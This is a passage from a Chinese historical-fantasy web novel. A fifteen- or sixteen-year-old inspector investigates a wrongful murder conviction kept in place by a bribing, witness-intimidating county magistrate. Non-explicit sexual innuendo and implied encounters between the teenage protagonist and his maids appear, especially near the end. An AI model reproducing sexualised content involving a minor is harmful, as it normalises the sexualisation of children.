王仁爱不释手,道:“好,好。令郎的事,我明天就去办。”
朱传宗本来就是七品官员,因此调入督察院并没有太大的困难,不过督察院是直属皇上的重要衙门,要请示皇上的。王仁连同几个官员的升迁,和朱传宗的一起送交皇上成览,皇上看了一眼,见没有什么特别的,因此只批了一个“知道了”意思就是没有问题了。
朱传宗一上任,督察院便把岳一鸣杀妻案交给他。王仁召见朱传宗的时候,做了一番勉励,让他铲奸除恶,报答皇上的圣恩云云,朱传宗虽然私下见过王仁,可是在这个场合,感觉王大人和蔼可亲,刚正不阿,真是一个好人。
朱传宗要去千里之外办案的消息,朱家上下都知道了。府里忙着为朱传宗送行,热闹的很。
而一些官员们打听到了这个消息,都前来道喜,礼物送了不少。
王宗营和赵束省知道了这事,见好端端的美人得不到了,对着朱传宗一统埋怨,都说他自讨苦吃,私下议论起他,说他是个太监,也不知道图什么?家里金山银山的,还要去外面吃苦!一定是痴病还没有好。
朱传宗出门将要去办案,朱夫人和老太君都是舍不得,嘱咐了半天,对跟着他的两个丫环小郁和暖云更是嘱咐有加,又把吴思远请来,给了他一个大红包,让他好好照顾朱传宗。
朱水月知道朱传宗表面年纪小,但他是神仙下凡,可以变化(其实朱传宗只会变胖)而且他智力特别出色,料来没什么担心的,只是舍不得他,难免一番恋恋不舍。
可是华采云不知道朱传宗是神仙下凡,见他年纪这么小,心里很是担心,虽然想要磨砺他,以后让他能够做出一番事业,可是总归不放心。
华采云去见朱佑继,说出一番不放心的话,朱佑继笑道:“你放心好了。我派房中席跟着他,我们就不用担心了。”
华采云眼睛一亮,连说老爷英明,心里也安稳了。
晚上朱家闭门不纳客,一家人一起用餐,为朱传宗送行。席上,朱佑继道:“光吃饭怪闷的,我请一个人来表演一番吧!”
众人都高兴赞成。
除了老太君,其实众人都有些怕平时看起来一本正经的朱老爷,见他还能为大家着想,都很好奇他让人表演什么。
朱佑继派人吩咐下去,一会儿,一个如细杆一样的瘦高个子进来,众人都认得他是朱家的护卫总兵房中席房总兵。
房中席先是抱拳行了一礼,然后施展了一番拳脚,在席前的不大的空地上,腾挪自如,身手非常矫健。
众人一片喝彩。
打完拳脚,房中席让两个护卫兵进来,拿着棍棒和刀枪,房中席运气发功,他本来高瘦,可是立刻变得像一个大胖子一样,两个护卫兵用棍棒和刀枪轮番打在他身上,棍棒和刀枪都打断了,可是房中席却丝毫没有损伤。
众人看得目瞪口呆,忍不住喝起彩来。
朱水月悄悄在朱传宗耳边道:“你能变大胖子,不知道有没有这个刀枪不入的本事啊?”
朱传宗默然不语,心想:“我现在只能变回原来曾经有过的模样,其余的本事都没发现,到底我还能不能再有别的有用的法力呢?”
心里很是郁闷。
房中席练完退下,朱佑继道:“母亲,夫人,我让房总兵跟着宝儿,这样你们就放心了吧?”
老太君这回高兴了,连连夸奖朱佑继孝心。宴会尽欢而散。
至于晚上朱传宗偷偷跑到谁的房里一番风流,也不用细说了。
第二章 八府巡按
朱传宗收拾完毕之后,带着岳可人,由吴思远辅佐,小郁和暖云服侍,房中席保护,一行人便向江淮省路同府上庆县进发。
岳可人救父心切,一心想早点到家乡,朱传宗体谅她的心情,便晓行夜伏,一行人一心赶路。
原本朱传宗没有出过这么远的门,是很想看看一路的风景和民俗的,可是救人如救火,只好抓紧赶路,心想:“凡人要是像神仙一样,会飞就好了。”
随即觉得这样的想法太荒唐,骑在马上不禁笑了。
几女都坐在马车里,这时小郁打开窗帘道:“少爷,你在笑什么呢?”
朱传宗道:“并没有笑什么。你在车里盯着我做什么?是不是想我了?”
小郁道:“想你个大头鬼。”
一下把朱传宗调笑的心想弄到九霄云外去了。小郁继续道:“少爷是不是想着如果把她父亲救出来了,她就会感激不尽,以身相许,所以才发笑呢?”
朱传宗忙在马上伏下身子,凑到她耳边道:“不许乱说,岳姑娘会听到的。”
小郁噗嗤笑道:“还没过门,就这么为人家着想了。那我现在要不是叫她少奶奶啊?”
朱传宗憨笑道:“你要愿意,你当少奶奶如何?”
小郁红了脸道:“别胡说了,我一个丫头,怎么能当什么少奶奶呢?再说谁要嫁你这个死肥猪啊?”
说完头缩回车厢里。
暖云在车里听得清楚,笑道:“这下好,戏弄别人不成,这会子自己弄了一鼻子灰吧?”
小郁嘴里可不让人,道:“哎哟,我可不敢抢占姐姐的位置,姐姐和少爷那些事情,当我不知道呀!我以后应该叫姐姐少奶奶呢!”
暖云立刻红了脸,怒道:“当岳小姐的面,你胡说什么?诬蔑我不要紧,诬蔑少爷,你是不是活的不耐烦了?”
小郁说漏了嘴,其实也是无心的,她一向傲气惯了,脾气是得礼不让人的人,并没有坏心,这时候觉得说的话也太重了,也是深悔,忙道:“我是开玩笑呢!姐姐还当真了。岳小姐是大家闺秀,就别挑剔我这个小丫头的胡闹了。”
岳可人一直微笑不说话,这时才道:“两位姐姐别嘲笑我了,我一个落难之人,哪里比得上你们出身豪门呢!宰相家中七品官,你们身份比我高贵多了,千万不要嘲讽我了。朱公子是好人,是清官,才肯千里跋涉,为了我们一家,那起子贪官,害的我家破人亡,他们心怎么这么黑呢!”
说着抹起了眼泪。
小郁和暖云连忙安慰,见她小小年纪,一个人上京告状,背地里吃了多少苦,那是可以想见的。
朱传宗骑马累了,便进后面吴思远坐的马车上休息,听他讲一些冤案故事,吴思远果然博学多才,见闻又广,说了许多朱传宗在书本上见都没见过的道理,朱传宗大受启发。
就这样,走了半个多月,一行人到了上庆县。
才到了上庆县的地界,在官道上还没走出十里,就见远远一群人敲锣打鼓,前来迎接,为首一人头戴官帽,正是上庆县县令周崇圣,率领县丞、主簿、把总、巡检、典吏知信等一些官吏,一起前来迎接。
周崇圣拜见朱传宗,说了一些大人旅途劳累,一路辛苦,下官未能远迎,还请恕罪等等一些客气话。
朱传宗道:“你这还不是远迎!非得到京师里迎接我,才叫远迎吗?”
周崇圣笑道:“大人说的是,下官听到京里的消息,说大人要来鄙县考察,因此昼夜期待,真是恨不能前去京师迎接大人呢!”
朱传宗道:“你消息倒灵通。不过你不是昼夜期待,而是昼夜睡不着,希望我不能来吧!”
周崇圣陪笑道:“大人说笑了。这里不是说话的地方,请大人移驾县衙吧!”
朱传宗十五六岁,血气方刚,做事只嫌慢,一听去县衙,便说好。
朱传宗做上车马,向县城进发,到了城里,他犹如众星捧月,前呼后拥,进了上庆县衙门。
朱传宗也不顾旅途劳累,和周县令等官吏的劝告,立刻要审理岳一鸣杀妻案。
落轿走马,升堂炮响之后闪门,众文武排班分两排站定。周县令胆战心惊,无奈随班行礼,心里张皇失措,心想:“巡按大人年纪这么小,可是却不能轻视啊!先给我来个下马威,看来我得要大大的破费了。听说他是工部尚书家的公子,果然是将门出虎子啊!”
朱传宗在大堂之上坐定,吴思远在左边的椅子上落座。本来吴思远的品级比朱传宗还高,又是他的老师,按理这个主位要谦虚一番的。但是吴思远此行是来辅佐朱传宗的,所以他一番师爷的打扮,别人绝想不到这个不起眼的老头居然是个五品官。
朱传宗一拍惊堂木,道:“周知县周大人,你可知道本官这次前来是因为什么事吗?”
周县令忙笑道:“回大人话,巡按大人奉令前来上庆县视察,下官并不知道是什么事。”
朱传宗冷笑道:“是因为岳一鸣杀妻案。岳一鸣的妻子还活着,你却诬蔑岳一鸣杀妻,天底下还有比这荒唐的事情吗?此案你若从实招来,我还会维护你,对你从轻发落,否则的话,哼,你知道后果。”
周县令心下虽慌,但他为官多年,见多识广,忙道:“大人,原来您说的是这个案子啊!这个案子并没有冤情啊!岳一鸣的叔弟一贯是个无赖,一定是他指使人喊冤的,连岳一鸣都亲自承认杀人了,这个案子还有什么疑问呢?请大人明鉴。”
朱传宗道:“是吗?你如果不用刑,犯人会被屈打成招吗?现在立刻传岳一鸣上堂来。”
周县令一使眼色,衙役连忙去提犯人。
一个戴着枷锁的犯人被带了上来,朱传宗见他相貌斯文,四五十岁年纪的样子,面目黄瘦,跪在丹墀,低头流泪。
岳可人本来躲在后堂,这时候看见她的老父亲,奔了出来,跪在他的身边,哭道:“爹爹!”
二人抱头痛哭。
朱传宗大起怜悯,不过这是大堂,便叫道:“岳一鸣!”
犯人答应:“在!”
朱传宗道:“你为何无故杀妻?是何道理?有什么冤情吗?只管说来,本官为你做主。你女儿千里到京,为你陈述冤情,因此本官奉了上命,不远千里来到这里为你洗冤,你有什么话,尽管说来吧!”
岳一鸣满眼落泪,往上磕头,良久道:“小人的确是不小心,一时失手,把妻子杀了。并没有冤情,请大人饶恕。”
岳可人悲声道:“爹爹,这位朱大人会为您洗冤的,他官大的很,您不用怕的。再也不会有人给您上刑了。”
朱传宗听岳一鸣不敢喊冤,看他身体有多处伤痕,怜悯地道:“不错,你有冤情,尽管说来,本官奉皇上之命,扫尽天下不平事,让天下太平清白,你就放心好了。”
岳一鸣抽泣了一会儿,磕头道:“大人是青天大老爷啊!可是小人真的没有被冤枉,请大人放过我吧!”
朱传宗这下呆了,过了一会儿,问周县令道:“听说有一个女人,自称是岳一鸣的夫人,可有这事?”
周县令忙笑道:“大人英明,的确有这个女人,可她是个疯子,根据我们大梁律法,疯子是不能做为证人的。”
朱传宗冷笑道:“你说是疯子就是疯子?传这个人来。”
周县令仍旧笑道:“大人,有医院的医生作证,那女子的确是个疯子。这个女人家住在广兴县。如果要传她,可要等两天了。”
朱传宗道:“好,明天我要见到她,你们立刻派人去。”
朱传宗公事完毕,来到后宅,脱了公服,在书房和吴思远闲坐,想起方才之事,只说“奇怪”道:“先生,您看这个岳一鸣怎么回事,他是怕被毒打吗?怎么不敢喊冤?”
吴思远道:“我早说了案子不是那么容易办的。就算是白的,这些官员串通起来,非要说是黑的,你也没办法。岳一鸣到底怕什么,我们现在也不知道,要慢慢询问吧!”
朱传宗怒道:“干脆我把这个狗官关押起来得了。”
吴思远道:“没有证据,谈何容易啊!要是也先打后审,和这些贪官有什么区别?而且我朝官员,按律不能随便处置的。”
二人正说着,周县令前来拜访,送上了程仪和拜帖,上面写的都是送的礼物。
吴思远道:“当官的不打送礼的。我看少爷收下算了。反正这个案子不容易办。不如顺手卖个人情。”
朱传宗一把把礼单撕碎,道:“先生当我是什么人?要是为了钱,我这么远到这里来干什么?”
对仆人道:“你去告诉周县令,就说我说的。除了公事,其他的一概免了,如果再送礼来,别怪我治他个行贿之罪。”
仆人去了,吴思远道:“按官场的规矩,这家伙以为你要更多的礼金呢!会送更大更好的礼物,等你再拒绝,他知道我们动真格的了,以后和我们可就是敌人了。”
朱传宗轻蔑地道:“他?一个小小的县令,配当我的对手吗?”
吴思远道:“如果案件不查清楚,利用官比他大,来找他的罪状的话,我觉得这趟来的可就不值得了。”
朱传宗凛然道:“先生说的对,我要调查清楚,让别人心服口服,才显得我的本事。请先生多费心了。”
心想:“吴先生似乎对我要求很严格,真把我当他的徒弟了。”
果然,第二天周县令便以谈论公务的名义,请朱传宗吃饭,朱传宗推托不去,可是周县令说是公事请教,到了中午时分,便拉上他吃饭。
朱传宗心里冷笑,心想:“看你耍什么把戏。”
索性也不推迟了。
席上,周县令和一些个官吏谈论风月,又拿出了一幅字画给大家观赏。这幅画是著名画家是善子常的群马图,是罕见的珍宝。
众人都称颂不已,说万两银子也买不到这样的珍品。
周县令道:“下官偶然的机缘之下,得到了这幅珍宝,可是我一个微末的小官,怎么能配拥有这么名贵的画呢!不如请巡按大人收藏吧!只有大人才有这个资格。”
众人也是连忙说好话,朱传宗见这幅画真的是非常精妙,心里也很喜欢,可是知道要是收了这样的重礼,以后的案子可就不能破了,体会到了办案的难处。当下道:“我不喜欢字画,再说,这么贵重的礼物,我不能收,这不是收贿吗?”
周县令看朱传宗的神情,就知道他其实很喜欢这副画,忙道:“大人,这可不是贿赂啊!这幅画我送给大人,大人给我提一幅字,我们这就是互相交换礼物了。怎么能算是贿赂呢?”
朱传宗道:“我的字怎么能值得了万两银子呢?这还是不行。”
周县令道:“不然,大人的墨宝,也是天下珍品,怎么不能和这个善子常比呢!一定要写,大人的字我是要定了。”
朱传宗笑了,道:“可惜我不会写字啊!已经酒足饭饱了,我要回去了,犯人下午不是能带到吗?我休息一会儿,还要审案呢!告辞!”
朱传宗扬长而去。
一个小吏道:“朱大人公子哥出身,也许真的不会写字呢!”
周县令脸色铁青,一个巴掌打了过来,道:“他这是要动真格的了。他是想要了我们的命,想升官。你们给我小心侍候着,要是出了一点错,我活不了,你们也活不了。”
下午朱传宗开庭审案,一个妇人被带到堂上来,一副失魂落魄的样子。朱传宗让岳可人上前去指认。
岳可人扑向那个妇人,大哭道:“母亲,您怎么几年不见了。您去哪里啦?”
那妇人只是抽泣,依依呀呀,并不能说话。
朱传宗眉头一皱,冷哼一声,道:“传岳一鸣。”
岳一鸣上堂之后,朱传宗喝道:“岳一鸣,你看这个妇人是谁?你可认识?”
岳一鸣跪在地上,也是啼哭不止,却不说话。
朱传宗一拍惊堂木,喝道:“周崇圣,这就是你所说的岳一鸣杀妻案吗?岳夫人还在,这是怎么回事?”
周县令虽然脸白如纸,但勉强笑道:“大人,这个妇人并不是岳夫人啊!他是广兴县侯小兴的夫人,不信可以传唤证人。而且侯夫人是个疯子,有医院的医生为证。穿证人。”
一个四十多岁的男子上堂来,跪下磕头道:“小人侯小兴,这女人是小人的夫人,因为患了痴病,见谁都说是他的媳妇,所以被人误会是岳一鸣的老婆,惹了这么大的一场官司,请大人原谅。”
接着上庆县的医生上堂来,呈上侯夫人的病志。
朱传宗看完,对侯小兴道:“喏,侯小兴,你知道在堂上做伪证,欺骗本官的后果吗?”
侯小兴道:“小人说的都是实话,并不知道什么后果。大人英明,也不会治我罪的。”
朱传宗毕竟经验少,案子到了这个份上,也有些迷茫了。
对那个医生道:“你们也是朝廷里的部门,当然知道做伪证的后果,不仅官位没了,还要坐牢的。这个女人当真有疯病吗?”
那医生道:“小人详细检查过了,她的确有病,而且嗓子也哑了。她的邻居也都可以作证,难道大人不相信我们医院的医生吗?”
朱传宗听了,语气也缓和了,道:“案子今天就到这里吧!明天传唤侯小兴和岳一鸣的亲戚邻居,看看这个妇人到底是不是岳夫人,退堂。”
回到后堂,朱传宗对吴思远道:“先生,难道这个案子没有冤情吗?似乎我们看错了,岳姑娘离开她母亲的时候,她年纪还小,认错人也说不定。”
吴思远冷笑道:“世上的事情复杂的很,少爷说的也有道理。可是跟据我的经验,这些人是合伙欺骗我们呢!如果我料的不错的话,明天那些传唤上来的人,没有一个人会说那妇人是岳夫人的。”
朱传宗奇道:“先生这个话怪异,如果这妇人真是岳一鸣的老婆,那么多人,怎么可能都认错呢?怎么会异口同声呢?”
吴思远缓缓道:“你还年轻,自然不知道这其中的门道。现在周县令已经把包括岳一鸣在内的所有人买通好了。岳一鸣原来被冤枉,一心求清白,但是周县令答应他等你走后,会还他一个公道,他就不会冒风险翻案了。你没看到所有的证据都对岳一鸣不利吗?就算岳一鸣喊冤,大人您又能如何?有医生证明那妇人是疯子,就此一点,就翻不了案啊!”
朱传宗做声不得。
吴思远道:“破家知县,灭门知府。这话你听过吗?”
朱传宗道:“请先生明示。”
吴思远道:“我说一个案例给你听。这是我们大梁国的一个真实的案子。当然,这样的案子成千上万,而且现在仍然在发生着,我只是说一个例子而已。”
朱传宗凝眉细听。
吴思远道:“直隶郡的武林县一位叫陈大可的富户,有一妻一妾。妻姓黄,妾姓杨,两个人闹别扭,黄氏正好生病,呕气病重医治不好,就病死了。他家邻里有一个平日看着他家眼红的好事之徒,便撺掇黄氏的兄弟告官,宣称人死得不明不白,要敲陈大可一笔。黄氏的兄弟很乐意跟着敲一笔,便和那个泼皮讲好了,由他出面,他躲在暗处作手脚,敲出钱来对半分。”
“武林县知县是个贪官。他有个乡亲在他这里吃闲饭,正打发不了呢。见这案子关联着人命,而且陈大可是个富家,不由大喜,便要在他身上得些好处,好打发那个老乡走。便立即准了状纸,佥牌把陈大可抓来,不由分说,关在狱中。”
朱传宗道:“这还有王法吗?”
吴思远道:“王法就是来欺负百姓的,这有什么可说的?你看这状子是可准可不准的,就算准了之后,拿来问讯,对陈大可的申辩也是可听可不听的。官员的权力多大啊?陈大可一入了狱,赶紧托人把妻弟请来,让他各方打点。破费了几百两银子,各方都打点到了,特别是县太爷的那位打秋风的老乡满意了,替陈大可说了好话,才放了陈大可。”
朱传宗道:“千里当官只为财,我终于知道书上这句话的意思了。”
吴思远道:“厉害的还在后面呢!没想到陈大可的妻弟嫌他赚得不足,事后又追上了那位知县的老乡,把贿赂他的四十两银子强讨了回来。知县听说此事后,勃然大怒,出牌重新问案,并且以‘私和人命’的罪状捎带上了陈大可的妻弟。陈大可妻弟听了立刻出逃了。”
朱传宗忽见事情急转之下,忙道:“后来呢?”
吴思远道:“陈大可和妾杨氏被重新拿到衙门后,不由分说,先是一顿狠打,关进监狱。然后下令挖墓验尸,要查他那位亡妻的死因到底是什么。同时召集当地各方人等,一边验尸,一边调查了解情况。知县成心要冤枉陈大可,只要从重坐罪,先吩咐法医(也叫仵作)报伤要重。仵作揣摩了他的意思,便无中生有,多报的是拳殴脚踢致命伤痕。黄氏幼时喜吃甜物,面前的牙齿落了一个,也做了硬物打落之伤。竟把陈大可问了斗殴杀人之律,妾杨氏威逼期亲尊长致死之律,各问绞罪。陈大可央了几个分上来说,只是不听。”
朱传宗目瞪口呆,道:“厉害,厉害。普通的事情,就能办成这样的杀人案。后来呢?”
吴思远道:“这案子本来已经结案了,本来没有什么事情,但是知县要报复,竟可以把两个人重新问成死罪。可见一位知县合法地祸害他人的能力有多么强。因此老百姓把知县称为‘破家的知县’,而知府权力更大,可以让百姓满门抄斩的,所以叫‘灭门知府’。这位知县果然叫陈大可破了家。杨氏见两个人都活不成,干脆把罪过全揽在自己身上,写了供状,然后在狱中上吊自杀,陈大可又多多送钱,这才了结了这桩案子。”
朱传宗叹道:“先生博学多才,今天我才知道社会是这么一回事。”
吴思远道:“用民间谚语的话说,‘官断十条路’,别说案情稍有模糊之处,官员的合法选择就有十种之多,怎么断都不算错。就算是案情清晰,官员们也可以无中生有,甚至明显违背法律的判案,都很难翻案。民告官的话,根据我们大梁律法,先要打二十大板的。岳姑娘侥幸遇到了你,如今才能来翻案,你知道在京师的南庄,有上万来京师告状的百姓吗?他们到了衙门,都没有人理会的。”
朱传宗闻所未闻,更是呆了。
05-15
第三章 无可奈何
朱传宗听了吴思远的一番话,这才有种恍然大悟的感觉,想起当下这个案子,道:“原来官员们有这样大的权力和手段啊!那些证人怕受到打击报复。万一作证之后,判不了周县令的罪,那以后可就没活路了。看来要找证人,很难啊!”
朱传宗皱起了眉头,本来以为侦破岳一鸣杀妻案是轻而易举的事情,但是没想到周崇圣把这个案子办的天衣无缝,心里虽然很恼怒,但是抓不着把柄,虽然他是朝廷钦派的官员,但也不能随便处置周县令。
吴思远见朱传宗着急起来,便笑道:“公子何必着急呢?官场里就是这般错综复杂,办成一个案子,哪有那么容易的?要沉住气,慢慢想法子,总会有的。错案就是错案,总归是有破绽的。”
朱传宗听了忽然大笑起来,道:“对,一天我没弄清楚这个案子,我就给他耗着。我看这小子着急不着急。再说,我就不信找不到肯为我们作证的人。”
二人聊了一会儿,吴思远便回房休息去了。朱传宗派人把岳可人请来,岳可人一进门,便给朱传宗跪下,哭道:“少爷,请您相信我,那女人真的是我母亲,她没死啊!”
朱传宗见岳可人身材消瘦,眼圈红肿,很是心疼,扶她起来,道:“我知道。你不要着急,可是现在形势很不利,不过你要相信我,不要放弃。否则,你父亲就会蒙冤一辈子了。”
岳可人眼里还有泪水,但是却欢喜地道:“我知道少爷您聪明能干,一定能帮我们家洗清冤情的。”
朱传宗道:“好,你相信我就好,等下我请你父亲来,我们好劝劝他,让他安心。”
岳一鸣被带到书房,朱传宗让人把他的枷锁去了,岳一鸣伏地跪拜大哭,道:“大人的恩情,小人永世不忘。”
朱传宗让岳可人把他扶起,道:“报答什么?我又没有恩情给你。”
岳一鸣道:“您现在让我坐在椅子上,让我有人的尊严,这就是恩情。还有大人不远千里,来为我伸冤,这就更是恩情了。”
朱传宗道:“既然你也知道我的恩情,为什么却戏弄我呢?”
岳一鸣又跪下,悲声道:“小人怎么敢呢?一来,我是为了我自己着想,二来,我是为大人着想。”
岳可人道:“爹爹,为了朱大人想,您就应该把冤枉说出来啊!”
岳一鸣道:“孩子,你还是年轻,有些事情,你还不懂。你没看到今天堂上那些证人吗?我就算喊冤,又有什么用呢?周县令已经答应我了,等朱大人走后,再关个一,两年,就放我回家,原来的房产归还我,至于没收的家财,我也不要了。以后我们父女带着你弟弟,好好度日,也就是了。”
朱传宗冷笑道:“你欺骗本官,都是为你着想,还说为了本官,你该当何罪?”
岳一鸣叹道:“大人,如果这般结局,对大人不也是有利的吗?周县令会对大人感恩戴德的,会送上大把的金钱,大人既救了小人,也得到了实惠,何乐而不为呢?否则的话,大人纵然是强龙,可是也很难拿地头蛇来治罪啊!”
朱传宗凛然道:“你,是为了你自身的安危着想,我不勉强你;我,来是为了伸张正义,是为了洗清冤案。你可以苟且活着,背负上杀人犯的罪名,可是我却不容许人间有这样的悲剧发生。你下去吧!没有你作证,我一样能查清楚这个案子。”
岳一鸣愣神的时候,被人带了出去。
岳可人对朱传宗道:“少爷,为什么在我们大梁国,办成一件事情这么难呢?一件颠倒黑白的事情,竟然可以冠冕堂皇地在许多人的谎言之下存在,您是个好官,可是却拿坏人没办法。”
朱传宗也不知道怎么回答,他见岳可人楚楚动人,心里说不出的怜惜,他以前在朱家和那些美女们整天调笑,只有快乐,现在面对这样一个美人,心里虽然觉得她美,但没有别的冲动。
过了一会儿,朱传宗道:“你还没有回家去看亲戚,你不是说你的叔叔支持你上京告状的吗?我们去拜访他们,请他们明天作证,打消他们的顾虑,否则他们被威胁的话,也不敢说真话了。只要有了证人,案子就好办多了。”
岳可人嫣然道:“少爷说的是。”
二人换了衣服,由房中席陪着,从大门走出。门口的四个衙役立刻跟在三人后面。
朱传宗道:“我们随便出去走走。你们不必跟着了。”
一个衙役道:“知县大人说了。只要大人出门,我们就要随身保护,否则大人要是出了一点差错,小人全家都会被抄斩的。”
朱传宗听了这话,知道无论如何,这几个衙役也不听他的话,不跟着他了。这样就算出去了,也没什么用了,心里一转,对岳可人悄悄道:“你们两个在前面街口等我。”
然后大声道:“既然这样,我就不出去了,你们两个去逛吧。”
转身回去了。
朱传宗回到房中,对小郁和暖云道:“快点,你们给我找肥大的衣服,就是我以前胖的时候穿的衣服。”
这几天朱传宗忙着审案,没有空和这两个丫头说笑,二人受冷落了,不仅不怪朱传宗,反而觉得朱传宗长大了,是能做大事的人了,二女又是欣慰又是暗中欢喜。
暖云去拿衣服,小郁问道:“你要这样的衣服干什么呀?”
朱传宗神秘一笑,道:“我要化装,让别人认不得我。”
小郁道:“出门吗?我跟你去好吗?”
朱传宗匆匆拿了衣服就走,道:“今天不行,以后再说吧!”
小郁知道岳姑娘已经出去了,猜他一定是去会她了,不由心里嫉妒。
朱传宗到了僻静的地方,换了衣服,变做以前大胖子时候的模样,便出门去了。
门口的衙役果然没有盘问他,朱传宗在无人处又变回来,找到岳可人和房中席,三人一起往岳可人的叔叔家去了。
来到一户普通的庭院,岳可人前去敲门,开门的是一个十二,三岁的半大小子,一看见岳可人,连忙回头兴奋地喊道:“爹爹,岳姐回来了。小顺子,你快来,你姐姐回来啦!”
一个四十多岁的中年人和一个七八岁的孩子闻声出来,都很欣喜。
岳可人道:“叔叔,这是我的两个朋友,咱们进屋里说去吧!”
一行人进了屋中,一个妇人上来茶水,然后把两个问这问那的男孩子拉走了。
岳可人的叔叔岳项东道:“自你走好,我一直惦念,幸好前些日子,县衙里来了几个人,先是威逼,后是拉拢,我才知道原来你在京师告官了。这位公子气宇不凡,身份一定高贵吧!小人给二位见礼了。”
他看见房中席气度不凡,像是一个当官的,却在朱传宗身边站立侍候着,猜到了朱传宗的身份。
朱传宗把岳项东扶起,道:“请不要客气,实不相瞒,我就是新来的巡按大人,我是来调查冤情的,这是私下里,你有什么话,尽管说好了。一切有我做主。”
岳项东听了,非跪下磕了几个头不可,然后道:“大人,难怪周县令传下话来,说只要我们不再翻案,等过上一年半载,就把我大哥岳一鸣放出来,他的家产房产也归还了。这都是大人的功劳啊!”
朱传宗道:“到底岳夫人是生是死呢?在堂上出现的那个妇人,连医院的医生都说她有疯病,这到底是怎么回事?”
他虽然相信吴思远先生的推断,但是到底心里还有疑虑,所以要问个明白。
岳项东叹道:“她就是可人的亲生母亲啊!可惜啊!”
欲言又止。
岳可人聪明伶俐,晓得因为她在的缘故,道:“我去里屋看看二娘和弟弟们去。”
便进内屋去了。
岳项东这才道:“我大哥有一妻一妾,他妻子是李氏,生的可人,小妾生的男孩岳小顺。我大哥脾气不好,宠爱小妾,又因为她生的是男孩,更加宠爱她了,所以就冷落了李氏。冤孽啊,李氏不知道什么侍候,遇到和她青梅竹马一起长大的侯小兴,二人便一起私奔了。可巧这个时候,县城里出现了一具无头女尸,李氏的娘家不知道就里,因为不见了女儿,便告官了。官府正找不到替死鬼,便判了大哥死罪。后来过了几个月,有邻居碰巧在广兴县遇到了李氏。李氏虽然恨大哥对他无情,但是听说因为她失踪,他被判死罪,便去县衙自首了。”
朱传宗恍然大悟,道:“原来事情的经过是这样,可恨这个周县令既然判错了,改了就是,为什么还继续错下去呢?”
房中席插话道:“这是官场的规矩,如果判错案了,要是改判,可是要罚俸禄的,对前程也不好。老百姓在他们眼里,和禽兽没有什么区别,人命根本不算什么!所以判错了就判错了,当做没错就是了。”
岳项东道:“是呀,不过里面还有原因。因为我大哥家还算有钱,城里另一个财主蔡家早就看中了他家的房产,一直苦于没有机会。趁这个机会,他们家便和县衙串通好了,没收了大哥的家财和房产,大哥的家财被县官给瓜分了,再把房产和土地卖给了蔡家,又得了一大笔钱,因此岂会翻案呢?”
朱传宗道:“要不是亲耳听到这些话,我心里还有一丝的希望。希望我们大梁国没有吴思远先生说的那么糟糕,现在看来,只有我是幼稚的啊!”
岳项东道:“大人,您来了。现在周县令要想和解,您就答应他吧!本来我原来还有一丝翻案的想法,可是听说知府大人也收了钱财,分了大哥家的财产,这个案子是太难翻了。大人年纪这么轻,也犯不上和他们斗了。卖个人情给他们,还能得些好处……”
朱传宗勃然大怒,道:“你是说我年轻,斗不过他们是吗?”
岳项东吓得扑通跪下,道:“大人,小人没有这个意思,只是我们这些岳家的亲戚,不敢上堂去作证啊!我们都有妻儿老小,大人要体谅我们啊!我看大哥可怜,几年来一直养育他的儿子女儿,还让可人去京师告状,可是我本来在学堂是一个教书先生,但二年前被辞退了。前两天,衙门来人告诉我了,再闹下去,我会家破人亡啊!”
这时候岳可人从内屋进来,跪在岳项东身前,哭道:“叔叔,多亏您了。这几年,只有您一直帮我们,你辛苦了。”
岳项东忍不住也老泪纵横。
朱传宗叹气道:“我都明白了,我不会为难你们的,你们都起来吧!”
朱传宗一切案情都大概了解了,可是却失去了原来要弄清案情,要一探究竟的心情,心里很沉重。一路上,他不说话,别人也不敢开口。
快到县衙,朱传宗换回衣服,变做大胖子。岳可人看了奇怪,可不敢问。
房中席惊讶地道:“少爷,您这是什么功夫?”
朱传宗道:“你会气功,我难道就不能会吗?”
和二人一起进门去了。
朱传宗郁闷地回到房间,已经很晚了,可是暖云和小郁还在等他。
小郁本来很生气,但见朱传宗无精打采地回来了,气便消了。
小郁见朱传宗一屁股坐在椅子上,也不说话,便捧上茶来,道:“怎么了?案子很难办吗?不行咱们就不办了,回家去好了。”
暖云奇道:“原来你不是一直希望少爷能有出息吗?怎么现在让他打退堂鼓的倒是你?”
朱传宗慨然道:“我不是因为案子难办,打退堂鼓,我是觉得人间的百姓太苦了。我们锦衣玉食,可是他们却过着猪狗不如,任人宰割的日子。这个案子,我一定要办下来。我记得看过书里有一句话,起初我不知道意思,现在,我懂了。”
朱传宗仰头叹道:“岂能尽扫天下事,但求无愧我心田!就算天下有多少不平事,扫也扫不净,但是要我看到,那就看见一个,扫尽一个。”
二女都呆了,此刻朱传宗在她们眼里,就像是另外一个人,一个她们做梦的时候,才能梦到的盖世英雄。
朱传宗看她们二人不说话,都呆了,皱眉道:“说了你们也不懂,不说了,睡觉。”
说完自个去睡了。
今天应该轮到暖云当班,小郁不情愿地去了。
暖云替朱传宗脱衣服,眼里闪着崇拜的目光,道:“少爷,我发觉你长大了,像是一个男子汉了。”
朱传宗把白天的事情抛到脑后,转身抱着暖云的细腰,道:“我本来就是男子汉,你又不是不知道!是谁呻吟求绕啊?说我威猛无比?”
暖云红着脸,道:“不是,我不是说那个。我是说你有了志向,就像要做大事业的大人物一样了。”
朱传宗笑道:“那你是喜欢不喜欢呢?”
暖云笑道:“喜欢的不得了。连小郁那个心高气傲的丫头都钦佩的不得了呢!”
朱传宗这些日子,就想着案子了,倒没留心这个,问道:“真的?她说的吗?”
暖云笑道:“没有,她怎么会说这个呢!不过你没看她看你的眼神吗?满是崇拜。还有,她现在可不再骂你了。要是以前,一听你说大话,还不得嘲笑你啊!一定会说,‘你这个死肥猪,胡吹什么大气啊!’”朱传宗一想,道:“还真是啊!她要是真喜欢我,那太好了,我就可以吃她的小乳猪了。”
暖云大怒,道:“哼,那你去找她吧!别理我了。”
朱传宗笑嘻嘻地道:“你也要理,现在就先吃你的小乳猪,你别生气。”
大手伸过去,暖云挣扎了一会儿,还是束手就擒了。
有岳一鸣的左邻右舍,亲戚朋友,还有侯小兴的左邻右舍。
朱传宗道:“你们听好了,这次让你们认人,要是出了差错,欺骗本官,以后可有你们的罪受。”
然后请这些人辨认,看看那妇人是不是岳一鸣的夫人李氏。
这些人躲躲闪闪,都不敢先说话,不过在衙役的逼迫下,最后都说这女人不是岳一鸣的夫人李氏。而侯小兴的左邻右舍作证那女人是侯小兴的夫人,成婚已经十多年了。
朱传宗心中气愤,但是却哈哈大笑道:“好啊!今天的案子审的很顺利,退堂。你们先回去,以后有事情,再传你们。”
